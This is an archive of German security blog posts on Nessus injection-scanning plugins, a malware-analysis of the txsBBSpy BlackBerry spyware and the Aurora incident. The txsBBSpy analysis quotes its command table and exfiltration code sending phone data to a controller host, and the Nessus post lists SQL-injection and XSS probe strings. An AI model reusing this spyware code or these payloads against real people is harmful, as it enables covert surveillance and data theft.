43160	CGI Generic SQL Injection (blind, time based)
42872	CGI Generic Local File Inclusion Vulnerability (2nd pass)
42479	CGI Generic SQL Injection Vulnerability (2nd pass)
42427	CGI Generic SQL Injection Vulnerability (HTTP Headers)
42426	CGI Generic SQL Injection Vulnerability (HTTP Cookies)
42425	CGI Generic Persistent Cross-Site Scripting Vulnerability
42424	CGI Generic SQL Injection (blind)
42423	CGI Generic SSI Injection Vulnerability
42056	CGI Generic Local File Inclusion Vulnerability
42055	CGI Generic Format String Vulnerability
42054	CGI Generic SSI Injection Vulnerability
39469	CGI Generic Remote File Inclusion Vulnerability
39468	CGI Generic Header Injection Vulnerability
39467	CGI Generic Path Traversal Vulnerability
39465	CGI Generic Command Execution Vulnerability
11139	CGI Generic SQL Injection Vulnerability

Diese Plugins arbeiten relativ simpel. Das Grundprinzip ist stets das Gleiche:

Schnittstellen S zur Übergabe von Parametern werden gesucht.
Varianten bösartigen Codes M werden generiert.
Pattern P zur Identifikation der efolgreichen Injektion werden definiert.
Die Anfragen der Form S(M) werden abgesetzt und damit die Resultate R generiert.
In den erhaltenen Resultaten werden die Pattern (S(M) ⇒ R) = P) gesucht.
Ist P in R enthalten, gilt die Schwachstelle als erfolgreich ausgenutzt. ∎

Konnte also eine Reaktion provoziert werden, die auf einen erfolgreichen Angriff hindeuten, wird die Schwachstelle als gegeben ausgewiesen. Dabei wird jenem Muster gefolgt, wie es auch bei manuellen Tests herangezogen wird:

Technik	Resultat	Beispiel
Cross Site Scripting	Injizierten Code	`BODY ONLOAD=alert($URL$)`
SQL-Injection	SQL-Fehlermeldungen	`supplied argument is not a valid MySQL result`

Der Pseudocode für die Implementierung eines Plugins, das SQL-Injection in HTTP-Headern prüft, sieht wie folgt aus. Neben der Definition der einzelnen Elemente in Arrays sind die verschachtelten Schleifen für das Ausprobieren der jeweiligen Anfragen verantwortlich:

function findXssInHeader($target=‘127.0.0.1’, $port=80){
   // Pre-defined arrays (some examples)
   $headerarr = array(‘User-Agent’, ‘Referer’, ‘Accept’);
   $maliciousarr = array(”’”, ‘”%22’, ‘—+’);
   $patternarr = array(‘Incorrect column name’, ‘Unknown table’);

   // Generation of test requests
   foreach($headerarr as $header){
      foreach($maliciousarr as $malicious){
         // Sending dedicated test request
         $response = http_get_request($target, $port, $header, $malicious);

         // Identification of patterns
         foreach($patternarr as $pattern){
            if(find($response, $pattern) == TRUE){
               return 1;
               exit;
            }
         }
      }
   }

   return 0;
}

Ein solcher Ansatz ist theoretisch für jede Schwachstelle umsetzbar, die sich durch eine korrupte Eingabe oder einen korrupten Programmablauf provozieren und anhand eines spezifischen Verhaltens (z.B. Rückgabewert einer typischen Struktur) ermitteln lässt. Eine erste Fokussierung von Nessus auf Webapplikationen liegt wohl darin begründet, dass das genutzte Anwendungsprotokoll relativ simpel ist (Klartext und umfassend dokumentiert), die Kombinationen aus Reiz/Reaktion gut erforscht sind sowie Webapplikationen eine sehr hohe Verbreitung finden. Weiterführende Implementierungen für anderweitige Angriffstechniken – wie zum Beispiel LDAP-Injection oder OS Command Injection – liessen sich nach dem selben Prinzip implementieren.

Fuzzing einer Directory Traversal-Schwachstelle

Diese Weiterentwicklung von Nessus ist wichtig und war dringend nötig. Der kommerzielle HTTP-Scanner N-Stalker hatte den exakt gleichen Schritt beispielsweise ebenfalls im umfassenden Rewrite der Version 2009 vollzogen. Denn nur damit kann den grundlegenden Schwächen des Produkts, das auf Reaktionen statt Aktionen setzt (auch ein grundlegendes Problem von Antivirus), entgegengetreten werden. Damit werden nun auch individuelle Applikationen, für die keine dedizierten Produkte-Plugin zur Verfügung stehen, erfolgreich angegriffen werden.

Marc Ruef

► 05.03.2010 – midfp für Windows

Im Juli des letzten Jahres haben wir ein Modell zur Identifikation von Mail-Clients vorgestellt. Bei diesem ging es darum, anhand der Struktur der Message-ID eines Emails die entsprechenden Determinierungen vorzunehmen. Zwei Monate später, im September des gleichen Jahres, haben wir eine erste Implementierung namens midfp veröffentlicht. Diese wurde in PHP geschrieben und wird mit den Sourcen und als Online-Version bereitgestellt.

midfp für Windows erkennt Outlook

Wir haben nun eine Win32-Portierung vorgenommen, so dass die Analyse ebenfalls unkompliziert offline erfolgen kann. Von dieser Implementierung stehen sowohl das vorkompilierte Binary als auch der Sourcecode zum Download bereit.

Der neue Code lehnt sich dabei absichtlich sehr stark am Original an. Aus diesem Grund ist es ebenso möglich, die bestehende Fingerprint-Datenbank (fingerprints.db) zu verwenden. Neue Fingerprints oder Message-ID Examples werden gerne durch Marc Ruef entgegengenommen.

Marc Ruef

► 26.02.2010 – Blog Digest Februar 2010

Nachfolgend interessante Beiträge zum Thema IT-Security des laufenden Monats:

Accuracy and Time Costs of Web Application Security Scanner Report (03.02.2010), RSnake, ha.ckers.org
Breaking Weak CAPTCHA in 26 Lines of Code (23.02.2010), andres.riancho, bonsai-sec.com
How online card security fails (01.02.2010), lightbluetouchpaper.org
Infrastructure vs. Application Security Spending (18.02.2010), Jeremiah Grossman, google.com
Is Your BlackBerry App Spying on You? (07.02.2010), Chris Eng, veracode.com
Looking for ‘more useful’ malware information? Help develop the format., (Sun, Feb 21st) (21.02.2010), isc.sans.org
Malware-URL Extension Statistics January 2010 (29.01.2010), Avira GmbH, techblog.avira.com
Please Rob Me site exposes danger of sharing too much information online (18.02.2010), Graham Cluley, Sophos, sophos.com
Postgres Fingerprinting (05.02.2010), todb, google.com
Reaction to Cyber Shockwave (21.02.2010), Richard Bejtlich, taosecurity.blogspot.com
Reputation-based Security: Suspicious.Insight detections on Virus Total (19.02.2010), Gerry Egan, symantec.com
The world’s top 10 dirtiest web-hosting countries (03.02.2010), Graham Cluley, Sophos, sophos.com
Time to.. Track More Data (19.02.2010), blog.osvdb.org
Timeline: A Decade of Malware (02.02.2010), csoonline.com
Twitpic, EXIF and GPS: I Know Where You Did it Last Summer, (Wed, Feb 10th) (11.02.2010), isc.sans.org
Twitter in the workplace – the threats (12.02.2010), David Kelleher, google.com
Using Google Images to Investigate Fraud (19.02.2010), f-secure.com
Where’s WhiteHat? Re: Scanner Comparisons (09.02.2010), Jeremiah Grossman, google.com
White Box Better Than Black Box (21.10.2009), Chris Wysopal, veracode.com
XSS, SQL Injection and Fuzzing Barcode Cheat Sheet (24.02.2010), Robert A., google.com

Marc Ruef

► 19.02.2010 – Statistische Auswertung von Schwachstellenklassen

Angewandte Computersicherheit ist eigentlich relativ simpel:

Eine Schwachstelle entsteht dann, wenn auf Grund fehlender Limitierungen eine Zugriffsmöglichkeit entsteht, die so nicht gewollt war. In Bezug auf die Programmierung bedeutet dies, dass man unvertrauenswürdigen Daten vertraut und auf der Basis dieser uneingeschränkt Zugriffe durchführen lässt.

Eine Auswertung verschiedener Verwundbarkeitsdatenbanken (scip VulDB, Securityfocus, Secunia und OSVDB) sollte zeigen, welche Klasse von Fehlern vorzugsweise zu einer in der Öffentlichkeit wahrgenommenen Schwachstelle führt.

Statistik zur Verteilung der Schwachstellenklassen

Die soeben gezeigte Grafik illustriert die nachfolgend vorgetragenen Ableitungen.

Ein Grossteil der Fehler mit 44.49% beruht auf einer fehlenden oder fehlerhaften Eingabeüberprüfung als Versäumnis während einer Programmentwicklung.
Das zweitgrösste Problem mit 15.92% bezieht sich auf Speicherschutzverletzungen (Pufferüberlauf- und Format String-Schwachstellen), die sowohl der Gefährlichkeit der genutzten Programmiersprache als auch der Nachlässigkeit der Entwickler angerechnet werden kann.
Dicht darauf folgen mit 14.18% Designfehler, die in Produkten bzw. den eingesetzten Mechanismen beobachtet werden können.
Des Weiteren tragen fehlende oder fehlerhafte Ausnahmebehandlungen mit 7.66% zu Unsicherheiten bei.
Und die letzte grosse Schwachstelle schlägt mit 6.27% bei fehlenden oder fehlerhaften Zugriffsmechanismen zu Buche.

Bei dieser Betrachtung ist auffällig, dass wirklich ein Grossteil der Fehler auf die Unpässlichkeit bei der Entwicklung zurückzuführen ist. Es ist also in erster Linie stets und ausschliesslich die Aufgabe des Entwicklers, ein sicheres Produkt zu entwerfen und umzusetzen.

Lediglich in Bezug auf Speicherschutzverletzungen, die an zweiter Stelle genannt wurden, können partiell ungünstige technische Grundvoraussetzungen vorgeschoben werden. Werden denn Sprachen eingesetzt, die die manuelle Verwaltung des Speichers erfordern – allen voran C/C++ -, steigt das Risiko der Einführung von Sicherheitsproblemen um nahezu 16%.

Die sichere Architektur eines Produkts, die Wahl einer soliden Programmiersprache ohne schwer bewältigende Komplexität sowie das Durchsetzen umfassender Eingabe- sowie Fehlerüberprüfung helfen also dabei, die wichtigsten Sicherheitsprobleme bei der Software-Entwicklung in den Griff zu kriegen.

Marc Ruef

► 12.02.2010 – txsBBSpy – Spyware für BlackBerry: Eine Analyse

Tyler Shields des Unternehmens Veracode hielt an der ShmooCon 2010 einen Vortrag zur Sicherheit von BlackBerry-Geräten. Dabei diskutierte er in erster Linie die Möglichkeiten von mobiler Spyware:

While a number of “vendors” sell Blackberry spyware, until now only a limited number of public code examples exist. Real time capture of SMS messages, Emails, and phone call logs are a fraction of the features to be presented. Full source code to the spyware will also be released.

Seine Ausführungen illustrierte er mit einer eigens dafür angefertigten Backdoor namens txsBBSpy. Den Java-Quelltext dieser hat er noch gleichentags veröffentlicht. In diesem Beitrag soll die Funktionsweise der Hintertür sowie die Implementierung besprochen werden.

RIM BlackBerry Bold 9700

Grundlage

Bei txsBBSpy handelt es sich um eine Spyware, die als Backdoor eingebracht wird. Sie wird genutzt, um die Aktivitäten einer Person zu überwachen und einzusehen. Ist die Malware einmal installiert, kann sie über verschiedene Kanäle gesteuert werden. Bei dieser Steuerung lässt sich das Verhalten der Hintertür anpassen, Zugriffe auf Datenbestände sowie Datensammlungen durchführen. Damit wird im weitesten Sinn ein RAT (Remote Access Tool) für BlackBerry realisiert. Ähnliche Ansätze haben wir bei unseren Implementierungen für das Apple iPhone und für HTC mit Windows Mobile realisiert.

Die bereitgestellte Spyware ist primär in der Lage, sämtliche abgespeicherten Daten auslesen zu lassen. Dazu gehören die folgenden Kerndaten eines modernen Mobiltelefons:

Adressbuch
Anrufliste
Emails

Zusätzlich können aber auch aktuelle Aktivitäten in Echtzeit überwacht werden. Zu diesen gehören die folgenden Möglichkeiten moderner Mobiltelefone:

GPS-Koordinaten
Aufzeichnung durch das eingebaute Mikrofon

Damit wird eine umfassende Überwachung des Geräts sowie dessen Benutzers möglich. Weiterführende Möglichkeiten, wie zum Beispiel das Generieren neuer Adressbucheinträge oder das Verschicken von Emails/SMS wäre ebenso denkbar. Damit liesse sich zum Beispiel ein Proxy oder ein Botnet aufbauen, mit dem sich aktuelle Geschäftsmodelle von Cyberkriminellen weiter vorantreiben lassen.

Fernsteuerung

Die Fernsteuerung erfolgt durch processCommand(String cmd), wobei das Argument cmd unterschiedliche Kommandos entgegennehmen in der Lage ist. Die untenstehende Tabelle illustriert die implementierten Mechanismen. Wird beispielsweise TXSPHLON übergeben, wird der Phone Listener aktiviert. Und mit TXSEXFILSMS wird die Datenextragierung mittels SMS realisiert.

Kommando	ID	Funktion Listener
TXSDIE	1	Beenden der Spyware
TXSPHLON	2	Aktivieren des Phone Listener
TXSPHLOFF	3	Deaktivieren des Phone Listener
TXSPIMON	4	Aktivieren des PIM Listener
TXSPIMOFF	5	Deaktivieren des PIM Listener
TXSSLINON	6	Aktivieren des SMS In Listener
TXSSLINOFF	7	Deaktivieren des SMS In Listener
TXSSLOUTON	8	Aktivieren des SMS Out Listener
TXSSLOUTOFF	9	Deaktivieren des SMS Out Listener
TXSGLON	10	Aktivieren des GPS Listener
TXSGLOFF	11	Deaktivieren des GPS Listener
Kommando	ID	Funktion Dateiversand
TXSEXFILSMS	21	Dateiversand als SMS
TXSEXFILSMSDG	22	Dateiversand als SMS Datagramm
TXSEXFILEMAIL	23	Dateiversand als Email
TXSEXFILGET	24	Dateiversand als HTTP GET
TXSEXFILPOST	25	Dateiversand als HTTP POST
TXSEXFILTCP	26	Dateiversand zu TCP-Socket
TXSEXFILUDP	27	Dateiversand zu UDP-Socket
Kommando	ID	Funktion Datensammlung
TXSDUMPCON	31	Ausgeben aller Kontakte
TXSDUMPGPS	32	Ausgeben der aktuellen GPS-Koordinaten
TXSDUMPPL	33	Ausgeben aller Phone-Logs
TXSDUMPEMAIL	34	Ausgeben aller Emails
TXSDUMPMIC	36	Aufzeichnen der aktuellen Mikrofon-Eingabe
Kommando	ID	Funktion Kommunikation
TXSIP	41	Ändern der Ziel-IP-Adresse für UDP- und TCP-Transaktionen
TXSEM	42	Ändern der Ziel-Mailadresse für Email-Transaktionen
TXSPORT	43	Ändern des Zielports
TXSPHONE	44	Ändern der Ziel-Telefonnummer für SMS-Transaktionen
TXSURL	45	Ändern der URL für HTTP-Transaktionen
TXSHOST	46	Ändern des Ziel HOST für DNS-Transaktionen
TXSGTIME	47	Ändern des Aktualisierungszyklus für GPS-Tracking
TXSMTIME	48	Ändern der Dauer für Mikrofon-Aufnahmen
Kommando	ID	Funktion Ping
TXSPING	99	Auf Ping mit Pong antworten

Anhand der in c abgelegten ID werden sodann mit einem case-Konstrukt die jeweiligen Funktionen aufgerufen. Dies ist sehr modular und strukturiert gelöst. Zum Beispiel wird mittels folgendem Code der Phone Listener eingerichtet:

pl = new PhoneLogger();
Phone.addPhoneListener(pl);
break;

Ändern und Nutzen der Transaktionsmethode

Wird die Transaktionsmethode geändert, wird dies in this.method abgelegt, wobei hier acht unterschiedliche Werte von 1 bis 8 erwartet werden. Die nachfolgende Tabelle zeigt den Stand der gegenwärtigen Implementierung auf.

Method ID	Case ID	Methode
1	21	SMS
2	22	SMS Datagramm
3	23	Email
4	24	HTTP GET
5	25	HTTP POST
6	26	UDP
7	27	TCP
8	28	DNS

Hiermit wird eine umfassende und solide Implementierung bereitgestellt, die mit einem hohen Mass an Flexibilität aufwarten kann. So ist es möglich zwischen unterschiedlichen Kanälen zu wechseln, was spätestens dann erforderlich wird, wenn die Zielsystem mit zusätzlichen Mechanismen geschützt werden (z.B. Firewalling oder Hardening der Konfigurationen).

Die jeweiligen Transaktionsmethoden werden dann durch die Funktion exfiltrate(String msg) angesteuert. Diese entscheidet anhand der als msg übergebenen Argumente darüber, wie nun eine Datenübertragung stattfindet.

private void exfiltrate(String msg)

{
 if (msg.startsWith(“TXS_”) != true) // Make sure that we haven’t already exfiltrated this message
 {
  msg = “TXS_”+msg; // Prepend our send marker
  switch (this.method)
  {
  case 1: exfilSMS(msg); break;
  case 2: exfilSMS_dg(msg); break;
  case 3: exfilEmail(msg); break;
  case 4: exfilHTTP_GET(msg); break;
  case 5: exfilHTTP_POST(msg); break;
  case 6: exfilTCP(msg); break;
  case 7: exfilUDP(msg); break;
  case 8: exfilDNS(msg); break;
  } 
 }

 return;
}

Weiterführend sind dann Funktionen wie exfilSMS(msg) für das Übertragen der Daten per SMS oder exfilHTTP_GET(msg) für eine Transaktion per HTTP GET zuständig.

Eine Datenübertragung per SMS findet relativ simpel statt, indem durch den jeweiligen Connector das SMS mittels dem Scheme sms:// generiert wird:

(MessageConnection) Connector.open("sms://" + this.pnum + ":3590");

Erkennung und Entdeckung

Die Erkennung der Malware ist durch die üblichen Mittel möglich. Eine Antiviren-Lösung kann versuchen durch patternbasierte oder heuristische Methoden die offensichtlichen Codeteile als solche zu identifizieren.

Es gibt jedoch eine Vielzahl an Eigenarten, die die Hintertür spätestens bei deren Aktivitäten im Netzwerk erkennen lassen.

Aktivität	Pattern	Code
Datenübertragung per Email	Mail-Betreff besteht aus Urgent Message	`m.setSubject("Urgent message");`
Datenübertragung per HTTP GET	URLs haben die Struktur `http://<url>/<msg>`	`c = (HttpConnection)Connector.open("http://"+this.url+"/"+msg);`
Datenübertragung per HTTP POST	User-Agent besteht aus `BBSpyware\|<msg>`	`c.setRequestProperty("User-Agent", "BBSpyware\|"+msg);`
Datenübertragung per UDP	Zielport ist standardmässig 4444	`conn = (DatagramConnection)Connector.open("udp://"+this.ip+":"+ this.port+";4444");`

Fazit

Man merkt txsBBSpy an, dass es durch jemanden programmiert wurde, der ein derartiges Produkt nicht zum ersten Mal entwickelt hat. Zu strukturiert und zu modular ist die gegebene Implementierung, deren Sourcecode sich sehr einfach und angenehm lesen lässt.

Und so spürt man dann auch heraus, dass die Entwicklung weit über einen simplen Proof-of-Concept hinaus geht. Tyler steckt ein gewisses Mass an Leidenschaft in seine Lösung, die sich durchaus produktiv einsetzen lässt. Die gegebene Flexibilität ist nicht zu unterschätzen und eine Nutzung deshalb zusätzlich auch noch komfortabel.

Nur in einigen wenigen Punkten findet sich Verbesserungspotential. So gibt es einen kleinen Fehler, der es verunmöglicht, dass eine Datenübertragung mittels DNS stattfinden kann. Und so macht es auch an anderer Stelle den Anschein, dass der veröffentlichte Code nicht ganz dem entspricht, was hinter verschlossenen Türen entwickelt wurde. Es schien, als sei so manches Feature kurzfristig vor dem Release entfernt worden, was durch den Entwickler in einem Comment bestätigt wurde:

Great catch ;) There is indeed a removed feature in that location of the code. Consider it a preview of additional things to be released at Source Boston conference in April.

Dennoch zeigt das Produkt auf, dass auch auf BlackBerry-Plattformen mit Risiken durch Malware zu rechnen ist. Da die Geräte bzw. die darauf installierte Software zudem vermehrt Schwachstellen aufweisen (z.B. wie zuletzt im PDF-Viewer), ist durchaus mit einem Potential für Kompromittierungen zu rechnen. Erste breitflächige Infektionen sind jedoch in den letzten Monaten schon zu verzeichnen gewesen. Dies ist nicht verwunderlich, weist das Unternehmen comScore die Verbreitung von BlackBerry mit 41.6% noch Ende 2009 als die grösste in den USA aus.

Anbieter	September 2009	Dezember 2009	Veränderung
RIM	42.6%	41.6%	-1.0%
Apple	24.1%	25.3%	+1.2%
Microsoft	19.0%	18.0%	-1.0%
Palm	8.3%	6.1%	-2.2%
Google	2.5%	5.2%	+2.7%

Marc Ruef

► 05.02.2010 – Aurora – Anatomie einer medienwirksamen Schwachstelle

Der Bereich der Computersicherheit fristet ein gewisses Schattendasein. Nur sehr selten werden Entwicklungen von der breiten Öffentlichkeit wahrgenommen. Nur manchmal gibt es Sicherheitslücken, Malware oder Angriffe, die es in die Tagesmedien schaffen. Die ersten medienwirksamen Meldungen wurden durch Würmer wie Melissa und ILOVEYOU sowie die ersten grossflächigen Distributed Denial of Service-Attacken (DDoS) gegen eBay und Yahoo generiert.

Timeline des Aurora-Zwischenfalls

12.01.2010 – Der Zwischenfall

Die letzten Jahre haben keine grösseren Meldungen hervorgebracht. Dafür ist im Januar dieses Jahres der Zwischenfall, der unter dem Namen Aurora bekannt werden sollte, umso mehr eingeschlagen. Den Stein ins Rollen brachte die Meldung von Google, in der darauf hingewiesen wird, dass Google selbst im Dezember des vergangenen Jahres Opfer eines Hacker-Angriffs wurde. Bei diesem Zwischenfall seien zielgerichtet urheberrechtlich geschützte Inhalte (Quelltexte) gestohlen sowie Zugriffe auf Gmail-Konten von chinesischen Menschenrechtsaktivisten durchgesetzt worden. Da die ersten Untersuchungen gezeigt hatten, dass bei den Angriffen die chinesische Regierung federführend gewesen war, wolle man sich aus Protest – ebenfalls gegenüber den auferlegten Zensurmassnahmen – aus dem chinesischen Markt zurückziehen:

These attacks and the surveillance they have uncovered—combined with the attempts over the past year to further limit free speech on the web—have led us to conclude that we should review the feasibility of our business operations in China. We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. We recognize that this may well mean having to shut down Google.cn, and potentially our offices in China.

Die Tagesmedien verbreiten diese Meldung, obschon sich dabei in erster Linie auf wirtschaftliche und politische Aspekte dieses schwelenden Konflikts fokussiert wird. Das Problem des Datendiebstahls wird zwar erwähnt, geniesst jedoch kein besonders hohes (technisches) Interesse.

14.01.2010 – Internet Explorer als Einfallstor

Schon bald wurden erste Gerüchte laut, dass eine Schwachstelle im Adobe Reader ausgenutzt wurde, um erweiterte Zugriffsrechte zu erlangen. Konkrete technische Details oder eine verlässliche Quelle wurden hierfür jedoch nicht genannt. Weitere Firmen, darunter auch Adobe selbst, bestätigten, dass auch sie Opfer derartiger Angriffe wurden.

Zwei Tage nach dem Bekanntwerden der Angriffe auf Google und andere namhafte Firmen in China, veröffentlichte Microsoft das Microsoft Security Advisory 979352. Dieses beschreibt eine kritische Schwachstelle im Internet Explorer, durch den erweiterte Rechte erlangt werden können (CVE-2010-0249):

The vulnerability exists as an invalid pointer reference within Internet Explorer. It is possible under certain conditions for the invalid pointer to be accessed after an object is deleted. In a specially-crafted attack, in attempting to access a freed object, Internet Explorer can be caused to allow remote code execution.

Da Microsoft die Beteiligung von Google an diesem Advisory zuspricht, werden erste Vermutungen geäussert, dass anstatt des unbekannten PDF-Exploit eben diese Schwachstelle im Internet Explorer für die Einbrüche genutzt werden hätten können.

Das technische Interesse am Exploit steigt sprunghaft an. Und so wird auf wepawet.iseclab.org ein funktionierender, in Javascript geschriebener Exploit veröffentlicht. Einen Tag später wird dieser in das MetaSploit Framework (MSF) integriert und im hauseigenen Blog angekündigt:

Yesterday, a copy of the unpatched Internet Explorer exploit used in the Aurora attacks was uploaded to Wepawet. Since the code is now public, we ported this to a Metasploit module in order to provide a safe way to test your workarounds and mitigation efforts.

Die Tagesmedien beginnen die Tragweite der genutzten Angriffsmöglichkeit zu verstehen. Nachdem in den ersten Meldungen auf die Nennung der technischen Hintergründe verzichtet wurde, rückt von nun an der Internet Explorer als Corpus Delicti in den Mittelpunkt des Interesses.

15.01.2010 – Warnung vor dem Internet Explorer

In vollkommene Ungnade fällt der Browser von Microsoft, als das BSI (Bundesamt für Sicherheit in der Informationstechnik) eine öffentliche Warnung vor dessen Einsatz ausspricht:

Das Ausführen des Internet Explorer im „geschützen Modus“ sowie das Abschalten von Acitve Scripting erschwert zwar die Angriffe, kann sie jedoch nicht vollständig verhindern. Deshalb empfiehlt das BSI, bis zum Vorliegen eine Patches von Microsoft auf einen alternativen Browser umzusteigen.

Die französische CERTA (Centre d’expertise gouvernemental de réponse et de traitement des attaques informatiques) zieht nach und spricht ebenfalls die Empfehlung aus, einen alternativen Browser einzusetzen:

Dans l’attente d’un correctif de l‘éditeur, Le CERTA recommande l’utilisation d’un navigateur alternatif.

18.01.2010 – Weiterführende Entwicklungen

Microsoft hat mittlerweile bemerkt, dass ihnen die Berichterstattungen rund um den Aurora-Zwischenfall nicht zu gute kommen. In verschiedenen Nachrichtenmagazinen dementiert Microsoft, dass der Einsatz des Internet Explorer mit einem erhöhten Risiko verbunden ist.

Das Sicherheitsunternehmen VUPEN stellt mittlerweile ihren bezahlenden Kunden eine modifizierte Version des Exploits zur Verfügung, der einen DEP-Bypass umsetzen kann. Die Empfehlung, die Data Execution Prevention einzuschalten, kann also spätestens jetzt nicht mehr vor dem Ausnutzen der Schwachstelle bewahren:

This remote code execution exploit with DEP (Data Execution Prevention) bypass takes advantage of a use-after-free vulnerability in Microsoft Internet Explorer when handling certain event objects.

Und wahrhaftig scheint die Angst vor dem Internet Explorer sprunghaft gewachsen zu sein. So vermelden die Mozilla-Entwickler in einem Blog-Post, dass der Download des Firefox seit der Warnung des BSI markant angestiegen ist. Vor allem Benutzer aus Deutschland scheinen sich für die vermeintlich sicherere Alternative zu interessieren:

Looking at the chart below, we can see that over the past few days there has been a huge increase in the number of Firefox downloads from IE users in Germany. The orange area is meant to represent the “incremental” impact, i.e., the number of downloads beyond what we would have normally expected on those days. As the chart highlights, the orange area adds up to just over 300,000 downloads during the recent Friday-Monday period.

Microsoft kündigt am 20.01.2010 einen ausserplanmässigen Patch an. Dieser soll morgen erscheinen und die vieldiskutierte Schwachstelle im Internet Explorer beheben:

This is an advance notification of one out-of-band security bulletin that Microsoft is intending to release on January 21, 2010. The bulletin will be for Internet Explorer to address limited attacks against customers of Internet Explorer 6, (...)

Dieser erscheint dann auch wie erwartet und wird natürlich vielerorts unverzüglich eingespielt. Die Gefahr schien damit vorerst gebannt zu sein. Genau rechtzeitig, denn mittlerweile ist eine breitflächige Ausnutzung der viel besprochenen Schwachstelle zu beobachten.

24.01.2010 – China dementiert

China hatte sich zu den Anschuldigungen von Seiten Google stets bedeckt gehalten. Die Involvierung in den Cyberangriffen wurde anfangs weder dementiert noch bestätigt. Die Regierung hat sich sodann doch nich durchgerungen, sich dahingehend zu äussern und eine Beteiligung vehement zu verneinen:

China on Friday firmly dismissed accusations by the United States that Beijing restricts Internet freedom and warned such claims were damaging to relations between the two nations.

Verschiedene technische Portale beginnen sich nun zu fragen, ob und inwiefern die Patch-Policy von Microsoft Mitschuld daran trägt, dass ein solcher Angriff überhaupt stattfinden konnte. Joe Stewart setzte eine umfassende Analyse der eingesetzten Exploits um und kam zum Schluss, dass das Problem wohl schon seit etwa 4 Jahren Microsoft bekannt gewesen wird. Denn so seien einige Codeteile schon 2006 geschrieben worden:

It appears that development of Aurora has been in the works for quite some time – some of the custom modules in the Aurora codebase have compiler timestamps dating back to May 2006.

Doch nicht alle glauben daran, dass nicht zwingend China hinter den Attacken steckt. Und wer sich ein bisschen mit den Methoden krimineller Aktivitäten im Cyberspace auskennt, der weiss, dass China sehr gerne als Zwischenstation missbraucht wird. Zwar äussert sich China offen dazu, in dieser Hinsicht Bestrebungen voranzutreiben. Jedoch einen derartig umfassenden Angriff in derartig offensichtlicher Weise aus dem eigenen Land zu starten, passt so gar nicht in das Schema einer wohl vorbereiteten Attacke.

Fazit

Im Informationszeitalter ist Computersicherheit nicht mehr wegzudenken. Das Verständnis für bestehende Gefahren und laufende Entwicklungen hilft der Gesellschaft, mit den Risiken der heutigen Zeit umzugehen. Dass ausgerechnet die Schwachstelle im Internet Explorer zu solcher Medienwirksamkeit gelangte, ist aus technischer Sicht nur bedingt nachzuvollziehen. Die Schwachstelle ist weder technisch noch wirtschaftlich besonders interessant.

Es gibt zudem eine Vielzahl an Sicherheitslücken im Internet Explorer, die eine vergleichbare technische Tragweite haben und auch noch immer nicht gepatcht sind (wahrscheinlich, weil sie offiziell noch nicht ausgenutzt wurden). Dass die Tagesmedien von nun an über jeden 0-Day in einem populären Produkt berichten, ist der Sache auch nicht dienlich.

Desweiteren ist die allgemeine Empfehlung des BSI, auf den Internet Explorer zu verzichten, keine echte Lösung. Eine statistische Auswertung der im Mozilla Firefox in den letzten Jahren gemeldeten Schwachstellen zeigt auf, dass dieser nicht viel sicherer ist. Im Gegensatz zu Microsoft ist das Mozilla-Team jedoch stets darum bemüht, kritische Fehler schnellstmöglich zu beheben, weshalb das Zeitfenster für erfolgreiche Angriffe minimiert werden kann. Microsoft täte gut daran, (vermeintliche) Schwachstellen auch dann zu beheben, wenn es noch keine funktionierenden Exploits gibt. Denn spätestens dann, wenn ein solcher bekannt wird, ist es definitiv zu spät.

Marc Ruef

► 29.01.2010 – Backdooring eines HTC mit Windows Mobile

In den letzten Monaten haben wir viel Energie in die sicherheitstechnische Analyse von mobilen Geräten investiert. In unterschiedlichen Projekten ging es darum die gegebene Sicherheit und die effektiv möglichen Angriffvektoren zu determinieren. Neben dem Auslesen geschützter Bereiche war jeweils ebenfalls das Entwickeln einer Backdoor als Ziel definiert (z.B. als GPS-Tracker für ein iPhone).

Eines der Projekte beschäftigte sich mit der Sicherheit eines HTC-Geräts (HTC Touch Diamond 2), auf dem Windows Mobile 6.1 installiert ist. Dieses wird als professionelles Gerät im geschäftlichen Alltag genutzt und ist deshalb mit verschiedenen zusätzlichen Sicherheitsmechanismen ausgerüstet worden.

Die Entwicklung eines Backdoors sollte aufzeigen, dass das zielgerichtete Umsetzen von Malware (ähnlich Backdoor.WinCE.Brador.a) möglich ist, sich diese einschleusen und ausführen liess, um sensitive Daten kopieren oder manipulieren zu können. Die Entwicklung des korrupten Programmcodes wurde mit Microsoft Visual Studio 2008 angegangen.

Das Projekt für mobile Geräte stellte eine ARM-Portierung unserer Standard-Backdoor dar, die ursprünglich für Win32-Plattformen geschrieben wurde. Die gesammelten Daten (wahlweise Kontakte aus dem Adressbuch, SMS-Nachrichten, Emails oder Kalender-Einträge) wurden über HTTP an einen Webserver geschickt. Durch das Tunnelling über einen legitimen Kanal sowie das eigenständige Pushen der Informationen sollten Limitierungen umgangen werden.

Die grösste Schwierigkeit der Entwicklung lag darin, die doch eher schlecht dokumentierten Mechanismen zum eigenen Vorteil nutzen zu können. Einmal mehr gesellt sich Windows Mobile Development in jenen Bereich, in dem sehr viel Halbwissen transportiert wird. Einfache Code-Beispiele, aus denen man die korrupten Programmteile ableiten hätten können, fanden sich nur sehr selten.

Komponente	Ansatz
Infektion	Herkömmliche CAB-Installation (Kopieren & Ausführen)
Rechteausweitung	Nicht erforderlich, da Zugriffe erlaubt
Datensammlung	Zugriffe über Microsoft.WindowsMobile.PocketOutlook
Kommunikation	HTTP-Tunnel (Instanzierung des Internet Explorer)

Der Zugriff auf gewisse Bereiche des Systems ist zudem mit Bordmitteln des .NET Frameworks nur mit erheblichem Aufwand möglich. Umfangreiche Konstrukte sind, gerade bei älteren Versionen von Windows Mobile, erforderlich. Das Schreiben von zuverlässigem Code, der unter den meisten Bedingungen reibungslos funktioniert, wird damit erheblich erschwert.

Die Infektion eines mobilen Geräts muss normalerweise über eine herkömmliche Installation erfolgen. Die Backdoor wird sodann in ein reguläres CAB-Archiv gepackt, auf das Gerät kopiert und auf diesem manuell (über den Explorer) installiert. Es findet sich sodann im Programme-Ordner, in dem man es wiederum manuell starten muss. Das Automatisieren dieses Prozesses ist nur unter der Ausnutzung fehlerhafter Software-Komponenten (z.B. dem eingesetzten Webbrowser) möglich. Das Tarnen einer vermeintlich legitimen Applikation dürfte aber die eine oder andere Infektion vorantreiben lassen.

